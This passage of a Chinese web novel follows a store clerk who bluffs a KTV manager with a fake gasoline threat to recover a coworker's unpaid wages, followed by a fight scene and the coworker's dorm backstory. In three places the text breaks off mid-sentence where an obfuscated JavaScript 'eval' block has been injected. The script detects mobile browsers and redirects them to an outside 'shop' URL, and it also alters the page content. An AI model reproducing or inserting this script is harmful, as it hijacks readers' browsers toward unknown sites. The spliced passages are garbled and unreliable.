目睹一切的程理觉得好笑,随便回了个表情包。他刷了一会手机,屏幕顶端蓦地跳出一则消息。 S:之前说你没用是我不对,我向你道歉,别放在心上 程理回了句“没事”,合上手机陷入梦乡。 伴着铃声,睡眼惺忪的程理直起身,他关掉七点的闹钟,瞥到手机有一条未读消息,点开一看,发送时间居然是凌晨两点。 S:你今天在便利店打工吗? 程理随手回复。 AAA语商通天代:今天不去,明天上早班 没成想李双竟然秒回。 S:那我明天中午来找你吃午饭 AAA语商通天代:行,你住的地方中午12点退房,找到新地方住了么? 李双的对话框显示“正在输入中”了很久。程理爬下床,一边刷牙,一边联系房东。 刷完牙,房东正好回复,程理将钱转过去,截图发给李双。 AAA语商通天代:给你续了七天,300租金算借你的 S:!!!谢谢 S:等会,原来这是能讲价吗? AAA语商通天代:房东大姐人挺好的,安心住吧 接下来的24小时,李双再也没有发消息过来,程理一度以为她把“一起吃饭”的约定忘记了。直到11点刚过,提着两袋食物的李双真的出现在了门外。 “3号线真是无论几点都人挤人!”李双风风火火地冲向柜台,“中午好,该下班了吧?我买了食堂的干蒸排骨。” “中午好。”程理摇了摇头:“店长临时有事,要迟点来换班,你不用管我,先吃吧。” “我等你。”李双坐进休息区。 “你身体还好吧?”程理随意地问。 李双懵了半秒,反应过来他指的是自己淋了雨这件事,豪爽地拍了拍臂膀:“没事,我身体素质一向很好!从小到大几乎没生过病。” “真羡慕,我每到换季就特别容易感冒,提前吃药预防都没用。” “吃药治标不治本,还得靠锻炼身体,增强自身免疫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957839|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力才行。”李双上下打量程理,“我早就想说,你身上肉也太少了。你大概……177?体重有65公斤么?” 程理直起背,一本正经地反驳:“体重对了,但如果这世上只有一个人有一米八,那绝对是我。” “你有一米八?”李双狐疑地问,“别是带鞋吧?” 程理没好气地叉腰:“裸高!不信你找尺量。” “我倒也没那么好奇,”李双站起来比划了一下,“我哥177,你好像确实比他高一点,那应该真有一米八。” “你哥也在广州上学么?” “是就好了,那样我就可以去找他。”李双背起手,端详起琳琅满目的商品,“他在加州理工呢,也不知道过年回不回来。” 程理瞳孔地震:“是我想的那个加州理工吗?” “Yes.CaliforniaInstituteofTechnology.”李双自豪地扬起唇,“加利福尼亚理工学院,童叟无欺。学校官网有他演讲时拍的照片,他和我长得很像,你一眼就能认出来。” 程理比起大拇指:“膜拜学神。” “我要是有我哥一半聪明就好了,好想体验一次智商碾压别人的感觉!哎!不过也没事,他能文,我善武,我可是——” 便利店进来一对祖孙,李双默默截停自吹自擂,埋头玩起手机。 “欢迎光临。”程理挂上营业微笑。 大裤衩人字拖的阿叔瞅了程理一眼,没有应答,膝下的小女孩挣脱他的手,绕着货架兴高采烈地跑来跑去,活像只小蜜蜂。 程理紧张地伸长脖子:“当心摔跤。” 祖孙俩对程理的提醒置若罔闻。阿叔摸了摸半花不白的脑壳,在店里逛了一圈,最后在冰柜旁停下。他岔开腿,从口袋里掏出一盒烟。 对方位于收银员视线的死角,好在程理持续关注着他,以至于他拨动打火机的声音被程理听得一清二楚。 程理离开柜台,快步逼近他:“不好意思先生,这里不可以抽烟。” 哪怕程理已经近在眼前,阿叔依然不为所动,程理只能夺走他的烟盒: “先生,要是非要抽烟,我只能请你出去了。” 装聋作哑的男人像是活了过来,青灰色的眼珠一瞪,指着程理鼻子开骂:“我*你**!你算什么东西也敢管我?还我烟!” 程理板起脸:“想抽烟去外面抽,想抽几根抽几根,我不来管你。” “臭*毛!关你咩事?” “咩啊?”暴脾气的李双拍案而起,“老坑公嘴巴给我放干净点!” 阿叔公鸡般挺起胸:“咩啊!来打我啊!来啊来啊!” “当老娘不敢?”李双真的开始撸袖子。 “好了好了,都收声。”程理奋力分开剑拔弩张的二人,把烟还给阿叔,“公共场所禁止抽烟,你的孩子看着呢,给她做个榜样。” “我们走!”阿叔骂骂咧咧地往大门退去,往地上吐了口痰。 “你!”李双脖子上青筋一跳。 程理拦住准备冲锋的李双:“让他走。” 小女孩从货架后出来,她抱着玩具泡泡机,怯生生地望着众人。 5. 第5章 阿叔呵斥孙女:“放回去!” “我不!”小女孩眼圈发红:“说好给我买玩具的!” 阿叔抓住小女孩,拖着她就往外走,倔强的孩子一边挣扎,一边简单粗暴地撕开了玩具包装。 店内安静了一瞬,程理默默拦在祖孙俩身前:“请付钱。” 阿叔长吁短叹了一会,不高兴地问:“要多少?” 程理快速扫描条码:“35。” “这么贵!”阿叔差点跳起来。 程理耐心地回答:“这是大牌子的玩具泡泡机,保存得当的话能玩好久,况且我们明码标价。” “太贵了太贵了!”阿叔黝黑的脸越来越红,他瞪着小女孩,越想越气,一巴掌拍在她背上:“让你发癫!这么贵!你来付钱啊!你付得起吗!我打死你!我打死你!” “喂!”程理从柜台里窜出来,“一个玩具罢了,怎么能打小孩!” “就是!”李双也在边上帮腔,“再动手我报警了!” 火气上头的阿叔对年轻人的劝阻充耳不闻,孙女尖叫着,哭得脸红脖子粗,他却越打越起劲! 争吵声、叫骂声、哭声在小小的便利店响彻,甚至盖过了广播里欢快的音乐。四个人乱哄哄地纠缠在一起,场面一度十分混乱! “啧!”程理松开他,掏出了手机。 李双以为程理准备报警,气势汹汹地威胁:“等着吧!当街打小孩违反《侵害人身罪条例》第27条,你不仅要坐牢,还要罚钱!” 然而打脸来得比飓风还快,程理将美团界面对准阿叔,朗声说: “美团外卖正好有满58减20元的活动。玩具35,一盒鸡蛋23,加起来正正好58。只要你手机支付38,最后能得到一个价值35元的高档玩具,以及30个新鲜日期的农家草鸡蛋,是不是很划算?” 啊?李双傻了。 “要不是这个死丫头,我本来一毛也不用付!”阿叔梗着脖子又举起了手掌。 程理用力拉住他:“我给您算笔账。58减20的券相当于打66折,划下来一个玩具23元,30个鸡蛋15元,一个鸡蛋才五毛!我们店卖的是正宗农家草鸡蛋,煎炸蒸炒都有营养!您要是这也接受不了,那我只能报警了。” 李双目瞪口呆,而阿叔眼珠咕噜咕噜转,松开了哭哭啼啼的孙女:“可我只有现金。” 程理长舒一口气:“我来下单,您把钱给我就好。” 付完钱,孙女举着泡泡机,阿叔提着鸡蛋,刚刚还仇人似的祖孙俩手牵着手,开开心心地走了。 “你脑子转得还真快。”李双看向程理的眼神盛满了佩服,“我反正是想不到用外卖券这种操作。” “习惯了,他不是第一个嫌店里东西贵的,被骂几次我就学聪明了。”程理紧绷的肩膀终于放松开,“其实点外卖还需要八毛钱打包费,不过比起有人在我班次打小孩,还是花钱消灾比较好。” 李双赞许地点点头:“我和店长说了,她同意我回来上班。” “恭喜。”口干舌燥的程理从柜台下掏出水杯。 “程理!你、你也不想借我的钱要不回来吧?所以……你再帮我个忙吧!”李双直勾勾地盯着他,唰地伸出四根手指,宛如在发毒誓:“事成之后,我连本带利还你400块!” “我?” “对!你。我看出来了,你挺有手段的。我解决不了的问题,你没准可以轻松解决。” 程理喝了口水,皱着眉头问:“不会是要我和你男朋友谈判……之类的吧?” “男朋友?”李双瞪大眼,“我怎么不知道我有男朋友?” “我也是听大嘴肖说的,他说有个红发的外国靓仔会在你下班的时候来接你,还给你带奶茶什么的。” 李双一拍大腿:“什么呀!他不是我男朋友,是我哥哥!真是的!就是因为容易被误会,我才讨厌他来找我。” 程理脱口而出:“那你脖子后面那块乌青是怎么回事?” 李双微微一愣,笑了起来:“怪不得你突然说什么‘新生活加油’,你是不是以为我被‘男朋友’打了,所以离家出走?” 程理欲盖弥彰地咳嗽了两声:“你哥哥不在加州理工么?” “那是我大哥,红毛是我二哥。” “怎么不找二哥帮忙?” “他在港大读书,休息的时候才会来广州。况且……”李双脸色有些难看,“我不想让他知道我没钱用。” 程理推了推眼镜:“好吧。你想让我帮你什么?先说,我再考虑要不要同意。” 李双四下看了看,神神秘秘地说:“大庭广众的不方便解释,我们找个地方细聊。” “也行,这附近有个麦当劳。”程理喝下最后一口水。 “麦当劳不还是大庭广众?”不满的李双超大声说:“你不给我开房了么!” “噗——”程理嘴里的水一股脑喷了出来。 叮咚。 “小双也在?”店长恰到好处地进门,“哎呀!程理的脸怎么比我路上遇到的红灯还红?你们聊什么了?” “咳咳咳……”呛水的程理努力平复呼吸,一连说了三遍没什么。 罪魁祸首则满脸坦然:“我有说错么?开房的难道不是——” “拜托你!”程理咬牙切齿地打断她,“想让我帮忙就别乱说话!” 李双知趣地闭嘴。 二人走进麦当劳,在角落里无言地吃完午餐。 李双托着下巴,注视托着餐盘的路人:“以往我来麦当劳歇脚,至少会买个甜筒的。” 程理将手机反扣在桌:“现在是11点半,我12点半出发去学校上课。你有一个小时说明情况,开始吧。” 李双坐直身体:“还记得我上周三晚上来店里找你请假么?请假的原因是,我在KTV找了一份工作。” “是正规平台找的么?” 李双尴尬地低下头:“如果电梯间的墙壁算正规平台的话。” “真有你的。”程理没忍住吐槽。 “小广告上说招服务生我才去的!”李双的语调骤然激昂,下一秒又变得沮丧。 “总之我去了,被录用了。我负责给客人送果盘,再在他们走后打扫卫生。工作时间从晚上八点到第二天凌晨两点,一百五一次,每周日结钱。” “这时间太阴间了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957840|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六小时一百五也不算高薪。” “时薪算下来比便利店多嘛,而且每天都能去,不用等排班。”李双剥着手指的死皮,“干了三天都相安无事。直到第四天,领班喊我进包厢给客人唱歌。虽然很心动,但我不会唱歌,就拒绝了。 接着来到第五天。领班又找到我,和我说有个可以一次赚五百的机会,不用唱歌,只要坐着给客人晃沙锤当气氛组就行。我非常缺钱,就答应了。 一进包厢我就后悔了,里面一屋子大腹便便的男人,酒气熏天。我转身想走,领班直接给我加到六百,我就硬着头皮坐了下来。 漂亮姐姐在唱歌,我确实只要坐着摇沙锤。可有个扑街男一直拉着我聊天,还劝我喝酒,为了那六百,我忍了。直到他开始摸我的手,还想把我抱到他腿上,我没忍住打了他一巴掌,从包厢里逃了出去。 我当时气坏了,直接和领班说不干了,让他结我五天工资。谁知经理跳出来说我打了客人,他们不报警不错了,不可能给我钱。 我说谁让那冚家铲对我动手动脚?只打一巴掌算我收敛!我们吵到太阳都出来了,他就是不肯给钱,我只能报警。警察来是来了,可他说这事不归警局管,让我去找劳动局仲裁。 第二天,我跑到劳动局。工作人员告诉我,KTV没和我签合同,我也没有证据能证明上了五天班,即使仲裁,拿到钱的希望也很渺茫。” 程理惊讶地问:“什么叫没有证据?你去应聘时的聊天记录呢?” “我们是面对面交流的,我有提出要加微信,但经理拒绝了,还说什么‘不加临时工微信是店里的规矩’。哎!我早该意识到不对的。来广州前我从来没打过工,太大意了。” 程理皱着眉思索了片刻:“兼职没合同还算正常,但不加联系方式很不正常。恐怕这家KTV一开始的目的就是冲着骗你下海,或者说白剽你劳动力去的。” “所以……有什么办法能把我的工钱要回来?” “这事不好办。”程理抱起手臂,“没有证据,不能借用公权力,又过去了好几天。” 李双用额头一下一下撞击餐桌:“果然没戏了么。” “但是呢——”程理在李双耳边打了个响指:“如果你愿意给我四百五,我可以试试看,大概有六……不,七成把握。” “哇!”李双一拍桌子,感受到路人不满的视线,她又压低声音:“你坐地起价!” 程理把下巴挂进手指织成的绳桥,笑眯眯地看着她:“是的,选择权在你。” “你多快能行动?” “今晚就可以。” 李双咬了咬牙:“成交!要怎么做?” 程理扭头望向身旁的玻璃墙,洁净的墙面将整间麦当劳倒映其中。柜台的点餐员奋力推销麦金卡,外卖员提起一大包餐点匆匆离开,急着回去上班的打工人在座位狼吞虎咽,无数为了生活奔波的芸芸众生汇聚在此。这些勤劳的人们不仅支撑起了小小的快餐店,也支撑起了整个世界。 “你有化妆品么?晚上化个妆,越浓越好,再穿条夸张点的裙子。至于我——”程理摆正头,与不解的李双对视: “我去找人借身行头。” 6. 第6章 李双握着手机,在华灯初上的大街不高兴地四下张望。 “程理,我在KTV马路对面,你还有多久到?” “咦?我也在对面,怎么没看见你?” 两人同时转了个圈,在对方脸上看到了别无二致的意外。 李双听取了程理的建议,卷了发,画了个夸张的大浓妆,一簇簇的假睫毛看起来能将人扇感冒。她上身是大片刺绣的缎光棒球服,内里是堪堪遮住肚脐的纯黑吊带,白色百褶裙在晚风的撩拨下轻轻摇晃。 程理满意地比拇指:“很好,完美符合计划要求。” 李双震惊地盯着他:“你谁啊?” 程理摊开手:“换身马甲就不认识我了?” 李双没忍住凑近观察。程理穿了条破洞牛仔裤,腰上捆着格纹布条的那种。白短袖外套着亮面黑皮衣,骷髅吊坠在他胸口垂垂荡荡。 令李双没认出来的关键因素是:程理没戴眼镜,还用发胶把刘海梳上去了! 直到这一刻,李双才真正完整地看清了程理的脸:他的眼珠是张扬透亮的琥珀色,眼尾却温顺地下垂,搭配端正清秀的下半张脸,整体看起来竟然异常和谐,甚至足以称得上…… 好看? 李双被这个结论吓了一跳,本能地后退了半步:“你、你原来长这样?” “很久前就长这样了。”程理捏了捏额间跳脱的发丝,“衣服首饰是问舍友借来撑场面的,隐形眼镜临时买的。我第一次戴隐形眼镜,这玩意真难戴啊,我和它斗争了快三十分钟。” “撑场面是什么意思?” “很快就知道了。”程理从怀中取出瓶冰红茶夹在腋下,“你大哥叫什么名字?” “李一。” “从现在开始,我是李一。进去以后跟在我后面,能不说话就不说话。” “了解。” 二人穿过马路,步入金碧辉煌的KTV。 “两个人吗?”接待员问。 “不唱歌。”程理双手插兜,“我找经理。” “找他什么事?” “他知道的。”程理笑着对摄像头挥了挥手。 两个接待员对视了一眼,冲着耳机低声说了什么。没过多久,高颧骨、宽腮帮的中年男人从走廊深处来到大堂,身后跟着三个眼神不善的壮汉。 “是他不给你钱么?”程理问李双,后者点了点头。 看到李双,经理冷笑:“又来了?” 李双望向身旁的程理,没成想他一改半分钟前的高姿态,举起一包烟,带着谄媚的笑脸凑了上去: “晚上好啊老板!赏脸抽根烟?我是李双的哥哥李一,我妹妹年纪小不懂事,冲撞了各位,现在我带她来赔个不是。” 经理推开程理的烟:“上班时间禁止抽烟,这是店里的规定。赔不是就算了,我们这庙小,摆不下她这尊大佛。” 程理垂下手,笑容依旧不变:“老板,其实我们不光是来赔礼道歉的。我们这种小学文凭的人……你懂的,想找份好工作很难的啦!我也不怕您笑话,家里都快没米下锅啦。现在我们想吃口回头草,重新求个饭碗,能不能通融通融?” 经理挑了挑眉:“小学文凭?你妹妹之前可说自己是正儿八经的大学生。” “她不也是怕您嫌弃,才美化了一下自己,毕竟大学生说出去多好听啊!您也没看到她的学生证,对不对?” 经理斜瞥了李双一眼,程理趁势勾住她脖子,捏住她的下巴:“看呐,我妹妹傻归傻,容貌可是十里八村一等一的。今天为了来求职,还特意打扮了下,够不够靓?” 突如其来的肢体接触让李双汗毛倒立,更别提程理胆敢捏她的脸。要不是程理一下一下拍着她的肩安抚,她的左直拳已经砸在他脸上了。 经理眯着眼睛,问身旁的人:“店里现在有几个‘公主’?” “不太多,梅姐带着好几个姑娘跳槽了,连客人都挖走了一半。” “来吧。”经理转身走向KTV深处,“去我办公室细聊。” “好嘞!”程理揽着李双跟上。 走廊灯光幽暗,踢脚线的蓝色灯带四面八方延伸。经理在最前面昂首阔步,路过的侍者纷纷朝他颔首,他却目不斜视,像个穿行于宫殿的帝王。 经理走进办公室,背后包厢的民间歌王正在高唱“亚拉索”,他摇了摇手指,停在门口的壮汉心领神会地合上了门。 “坐吧。”经理越过办公桌,坐进靠椅。 程理把李双按进门口的沙发,在她耳旁小声说:“待会无论发生什么,想办法拦住门口的人,能做到么?” “没问题。”李双坚定地回答。 程理笑了笑,在经理对面坐好,手心的烟盒轻敲桌面:“老板真不抽烟么?” “戒了。”经理翘起二郎腿,用浸泡茶叶和枸杞的玻璃壶倒了两杯茶。 “不介意我抽吧?” “随意。”经理将其中一杯茶推向程理。 “我这种俗人还是更爱喝饮料。”程理将冰红茶摆在手边,叼住烟,又掏出打火机点上火,灰白的烟雾升腾。桌上看不见烟灰缸,他就上道地将夹烟的手撑在桌角。 凝视他指间的猩红,李双感到一丝三观颠覆的眩晕。她算是五感过人的类型,可之前她从未在程理身上闻到过尼古丁的味道,再加上他看起来一脸纯良,李双完全想不到他居然会抽烟,还这么熟练! 对李双的诧异一无所知的程理开始夸夸而谈,他将李双的美貌与身材吹上了天,言辞露骨又直白,听得李双频频捏拳头,忍不住质疑起自己是否真要为了区区七百五在这受罪。 听着程理的“妙语连珠”,不苟言笑的经理脸色稍缓,程理话锋一转:“老板,我妹妹这么靓,你总不能继续让她当服务生,赚150一晚的工资吧?” “确实,太屈才了!”经理抿了口茶:“当‘公主’吧,三百一个厢,酒水提成15%,客人给的小费二八分账。” “一个厢才三百么?”程理掸了掸烟灰:“我老家那边都是五百一个厢,酒水提成25%,小费至少三七分。您不能看我们年纪小,就胡乱压价呀。” 李双捂住脸,心说你也太懂了吧?讲起价来一套一套的,别待会真把我卖出去了! 经理呵呵笑了起来:“你还挺懂行情。” “人在江湖,不懂不行啊。”程理为经理的空杯添上水。 “行。不过你妹妹不会唱歌跳舞,所以没有提成,只有五百厢费,小费也要如实上交。我们这有教声乐的老师,等她学会了,可以按照你说的条件来。” “老板爽快!”程理一拍桌子:“但是吧,我刚在门口也和您说了,家里缺米呀!您不妨提前预支点工资,不然又像上次那样,您一句没有合同,我妹妹又白打工了。” “那不行,工资都是每月10号统一发,破不了例。” “她之前不也为这个KTV端了五天果盘,打扫了五天卫生么?没有功劳也有苦劳呀。” “不行就是不行。大家要都这样不讲规矩,我这店还开不开了。” 程理嘴角的弧度没有变化,眸中的笑意却寸寸暗了下去,他的视线聚焦在角落生灰的灭火器,低声说:“再商量下吧,因为小事情停业不值当。” “停业?”领班慢条斯理地整理水钻西装,“哦我晓得了,你要去举报我们消防不合格?试试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957841|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,我倒要看是你动作快,还是我的人消息更灵通。” “老板别上火,我也是实在没办法了。这臭丫头现在天天赖在家里,吃我的喝我的,我总得讨回来一点。说这么久我都渴了,让我喝口饮料润润嗓子。” 经理哼了一声,没有接茬。 程理拧开瓶盖:“李双动手!” 李双闪身的刹那,程理也将冰红茶泼了出去! 下巴挂水的经理厉声骂:“你要死啊!” 门被李双反锁,壮汉只能咣咣砸门。 程理丢掉空瓶起身,一只手握着打火机,一只手撑在台面,居高临下地说:“喂,有没有感觉冰红茶闻着怪怪的?” 经理皱着眉闻了闻,脸色霎时变白。 程理咧开嘴:“没错,混了200毫升汽油。” “你想怎么样?” “我要你把欠她的工钱给她,七百五,一分也不能少。” “都说了工资每月10号统一发!” “那是合同工,零时工连合同都没有,凭什么照规矩来?” 经理抢过茶壶,程理不仅没阻止,反而笑得更开心了:“给你上堂化学课,汽油着火不能用水扑。它密度比水小,着火后会浮在水上,水流到哪,汽油就烧到哪,直到把附着物烧穿!” 用茶水洗完脸的经理梗着脖子:“你唬人!才七百五,你犯不着!” 程理注视他惊恐的脸笑而不语,大拇指一下一下拨动开关,赤红的火苗消散又窜起。 “不可能是汽油!绝对不可能!” “赌一把?” 经理泄愤似的将水壶砸在地上:“我毁容,你在监狱里也别想好过!” 程理歪头:“你以为烧伤只会毁容?感染、肾衰竭,各种各样的并发症会让你在病床上生不如死。知道医院的窗户为什么打不开么?因为有太多病人受不了那份痛苦,宁可选择跳楼啊!” “死癫公!扑街仔!” 程理按住打火机靠近,森森的红光将他的面孔衬得狰狞无比:“我数到三。一、二——” “*的!我知道了!”经理的心理防线完全崩溃,他哆哆嗦嗦地掏出手机:“给钱!我给钱!微信还是支付宝?” 程理出示李双的支付宝收款码,经理快速扫完:“转了一千,赶紧走!别让我再看到你们!” 程理一动不动:“门口的兄弟,帮我解决下?” “外面的!让他们走!” “老板大气。”程理将打火机揣回兜,悠悠退到李双身旁,“不打扰您做生意,告辞。” 越过狼群般的守卫,二人快步离开KTV,还没走出几步,身后就传来了密集的脚步声。 “就知道那家伙说话不算话!”程理拉住李双的手腕,二人在凌晨的街道狂奔。 李双扭头扫了眼,追逐的人数是六而不是三,她反手牵住程理,领着他跑进一条昏暗的小巷。 “这条路没有监控。” “啊?” 没理会对方的不解,李双执拗地握紧他的手,直到道路尽头出现了一堵墙。 追兵们将出口堵住,步步逼近,程理挡在李双前面:“警告你们,持械伤人处——” 程理话才说到一半,李双就反过来把他护在了身后。 唯一的路灯位于李双头顶,她的影子被光拉得极长,如同一柄巨剑,笔直地刺向摩拳擦掌的追兵。 微微活动肩胛骨,李双脱下描龙绣凤的棒球服,萧瑟的风划过她光裸的肩膀,她却毫不战栗。 长马尾被李双叼进嘴,她用脚边的水坑浸湿衣服,笔直地绷于胸前: “一起上吧各位,我会尽量手下留情。” 7. 第7章 地上四仰八叉地躺着六个歹徒,个个肿如猪头。 单方面暴揍歹徒的李双气定神闲,手中握着长鞭般的湿外套,她松开嘴,如瀑的黑发滑落。无视遍地哀嚎,她拉着程理离开小巷,姿态和程理拉着她走出蝙蝠洞时一样潇洒。 程理频频回头:“他们不会有事吧?” 李双淡淡地说:“死不了。” 一路小跑回到主路,热闹的夜市灯火通明,驱散了二人头顶的阴霾。 “哈……哈……”程理扶着膝盖,“李双,你到底何方神圣?那些招式可不像普通的防身术,倒像是……《黄飞鸿》你看过么?” 李双眼睛一亮:“当然!原来你也看武打片?” 程理直起身:“《黄飞鸿》系列可是广府小孩的童年,什么《铁鸡斗蜈蚣》、《狮王争霸赛》,那首歌怎么唱来着?傲气傲笑万重浪——” “热血热胜红日光!”李双激动地打开手机,壁纸是惠英红,“我是武打片重度爱好者!李连杰、成龙、甄子丹、惠英红,还有杨紫琼我都很喜欢!中国动作电影就是世界第一不接受反驳!而且——” 李双有模有样地摆了个Poss,冲程理扬了扬眉毛:“我在体校读的是武术表演专业。” “不说武术表演都是套招么?这也能一打六?”程理挠了挠后脑,“我高中学过军体拳,测验还拿了满分呢,但我完全不会打架。” “我家以前是开武馆的,我妈是馆主。” “我嘞个去!”程理大为震撼,“传武世家,馆主之女!” 得意的李双摆摆手:“言重了,我也就是会六七种拳法,三四种剑法,仅此而已。” “谦虚了。”程理注意到她鼻头红红,将皮衣脱了下来:“即使是练家子,也要保重身体。穿上吧,别着凉了。” 李双头摇得像拨浪鼓:“你的衣服是问别人借的,沾上我的粉底就不好了。” “那……”程理环顾四周,“前面有家大排档,我们去吃碗艇仔粥吧?你也可以暖暖身体。” 余额从零变成一千的李双欣然应允,二人在店内找了张空桌坐下。纵然已是凌晨一点,大排档仍然人声鼎沸,开放厨房火光冲天,厨师个个满头大汗,铆足了劲要喂饱翘首以盼的食客。 点完单,服务员阿婆急匆匆地走了。李双搓了搓大腿:“我没看错人,你果然很有手段。不过你会抽烟这点我还挺意外的,我先前从没在你身上闻到过尼古丁的味道。” 程理将烟盒与打火机丢进垃圾篓:“抽烟对我来说属于一项技能。会但没有瘾,非必要不会主动抽。” 像是想到了什么,程理咳嗽了两声,诚恳地交叉十指:“对了。向你道个歉,在KTV的时候不是故意摸你的,都是为了立混子人设。” “我懂,做戏嘛,我没放在心上。”李双挑眉:“不过你小子对KTV的弯弯绕还真了解,难不成经常光顾?” “这我得严正声明。”程理郑重地挺起背:“为了谈判,我找经常出没商K的舍友做了点功课,那些‘知识’都是他告诉我的。我不喜欢唱歌,也对特殊服务没任何兴趣。今天是我第一次进KTV,不会有第二次了。” “你以前从没去过?”李双眨了眨眼,“不是说大陆的孩子周末会成群结队去唱歌么?” “谁告诉你的……算了,别人的生活我不清楚,反正我是没去过。” “好吧。”李双突然笑了起来,“你装街溜子装得还真像,是演技惊人,还是真的混过?” “在这个国家混黑?你知不知道,有句话叫‘三棍打碎混黑魂,警官我是老实人’。” “哈哈!你到底在冰红茶里加什么了?那个索嗨经理吓得差点尿裤子!” “你猜。”程理端起茶杯。 “又要有汽油的气味,又要不是易燃品,还得几乎没有颜色……我化学不好,想不到。” 程理没说话。 李双脸上的笑容渐渐消失:“别告诉我……真是汽油?” 程理意味深长地盯了她三秒,噗嗤笑了出来:“怎么可能!吓唬他而已,什么也没加。” “全凭心理暗示就让他相信了吗!” “哈哈,不然呢?” “那就好。”李双摸着胸口:“还以为你真那么疯。上收款码,我把四百五转你。” 程理把玩着空杯:“你要是愿意告诉我你身上发生了什么,我就只收四百。” 李双肩膀一跳,她抿着嘴,眉毛也纠结地皱起。 “不说算啦。”程理摊开收款界面,又倒上一杯水。 “罢了。”李双叹了口气,“我现在人穷志短,不就是自曝么,我说就是了。” “别一副英勇就义的样子。”程理期待地揣起手:“我不会嘲笑你的。大概。” “嘲笑就嘲笑,有什么大不了的。”李双也把手臂架在桌面。 “事情,还得从军训那会说起……” 作为一个在家住了19年,且没有任何朋友的人,大一生李双对即将到来的宿舍生活分外憧憬。 在她的幻想中,她会与五个同专业的舍友结下深厚的友谊,大家白天分享零食,晚上进行八卦大会,工作日深耕学业,休息日则会去外面疯玩到凌晨。 怀抱着这个期待,李双提前一天搬进宿舍。她将整个宿舍上上下下大扫除了一遍,连阳台的不锈钢栏杆都擦得闪闪发亮,连力求给未来的舍友们留下好印象。 然而李双很快就体会到了什么叫出师不利,五个舍友只到了四个,一个请了假延迟入学,且大家相互一合计,五个人中竟然有新闻、舞蹈、武术三种不同专业! 4、5、6号床舞蹈系,1、3号床新闻系,就剩李双一个武术系的2号床单只形影。 顿觉不妙的李双火速联系导员,得到的答案是今年学校扩招了,入学人数相较往年增加了10%。可宿舍又数量没变!学校为了安顿学生,搞出了不同专业混住的操作。 一间宿舍六个床位,武术系新入学七名女生,李双正好是那一个多出来的倒霉蛋。 在桌子上趴着调理了五分钟,李双以“船到桥头自然直”的古话说服了自己。 第二天,全校新生开启了整整21天的军训。 可能是上天为了补偿李双,武术系与新闻系的新生居然被安排了在一个排。李双不仅能和武术系的同学在一起,还能同时与1号床舍友作伴。大家每天嘻嘻哈哈,打打闹闹,日子过得单纯又欢乐。 在夕阳下和1号床手挽手去食堂的时候,李双一度以为,她的大学生活每天都会如此惬意。 直到军训生活落下帷幕,正儿八经的校园生活起航。一直活在传说中的3号床,带着她的爸爸妈妈爷爷奶奶外公外婆走进了宿舍。 看到这一大家子的时候,所有人都十分震撼。3号床是个腼腆的小个子姑娘,说话声音又轻又慢,但她亲妈却声如洪钟,极会来事,给宿舍里每个人都送了奶茶和点心,并说: “我姑娘天生胆子小,比较娇气,麻烦各位同学看在阿姨的面子上,多照顾她点。” 吃人嘴软的众人纷纷点头保证,嗦着珍珠的李双自然也不例外。 经历了几天磨合,3号床慢慢放开,敢大声说话,也敢开玩笑了。 这本是件皆大欢喜的好事,李双却隐隐有些难过。与李双关系最好的1号床,生活重心幽幽朝着同吃同住还同上课的3号床倒戈。 3号床没出现前,1号床每天都主动约着李双一起吃饭,一起去公共澡堂洗澡。 某天中午,李双左等右等也等不到对方,就主动发消息问“我们中午吃什么”,得到的回复是“今天提早下课,我和3号床已经吃完回宿舍了”。 李双默默一个人吃完午饭。回到宿舍,1号床与3号床正躺在床上聊天,她努力地想加进去,结果人家聊的是作业与课上的趣事,李双半句也插不上嘴,只能悻悻玩手机。 晚上洗澡的时候,同样的事情再次发生。抱着盆的两个姑娘在前面聊得开怀,沉默的李双跟在后面。肩头的毛巾被风吹落,李双俯身去捡,就这么几秒的空档,另外两人已经走出去五米远了。 失落的李双没有气馁,她痛定思痛,刷了一整晚“学了立马受欢迎”的教学贴。按照攻略,李双开始制造话题与偶遇,强行加入谈话,甚至自掏腰包请客。 彼时的李双,还不明白“就蒜挤进去也是橘外人”这个道理,社交方式从“被动端着”滑向了“主动放低自尊”的极端。 她用互联网烂梗自黑,大方地分享一切物品,主动迎合舍友的生活节奏,导致的后果就是: 李双开玩笑说自己的40码脚堪比霸王龙,1号床也就真的给她取了“李大脚”的外号,在陌生人面前也这么大声称呼她。 李双说她的贵价护发素大家随便用,3号床便毫不留情地往头上抹,月初买的500毫升一整瓶,月中就空了瓶。 李双学舞剑不方便做指甲,1、3号床愣是拖着她去美甲店,让她坐着傻等了两个小时,不仅连杯奶茶都没给她买,还要让她充当A午餐的工具人。 